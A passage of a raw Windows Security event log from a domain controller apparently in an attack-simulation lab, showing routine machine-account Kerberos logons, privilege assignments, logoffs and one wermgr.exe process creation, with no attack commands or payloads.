-EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248807 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC4D55 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248806 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC4D55 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64039 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248805 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC4D55 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248804 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC4CE0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248803 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC4CE0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64038 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248802 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC4CE0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248826 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd6c - New Process Name: C:\Windows\System32\wermgr.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x478 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wermgr.exe -upload - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:47:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248825 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC62C8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248824 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC62C8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64045 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248823 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC62C8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248822 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC6255 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248821 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC6255 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64044 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248820 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC6255 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248819 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC61D9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248818 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC61D9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64043 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248817 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC61D9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248816 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC6164 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248815 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC6164 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64042 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248814 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC6164 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248838 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7C6D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248837 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC7C6D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64049 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248836 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7C6D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248835 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7C0A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248834 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC7C0A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64048 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248833 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7C0A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248832 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7BA2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248831 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC7BA2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64047 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248830 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7BA2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248829 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7B41 - -Logon Type: 3 - -This event is generated when a logon session is 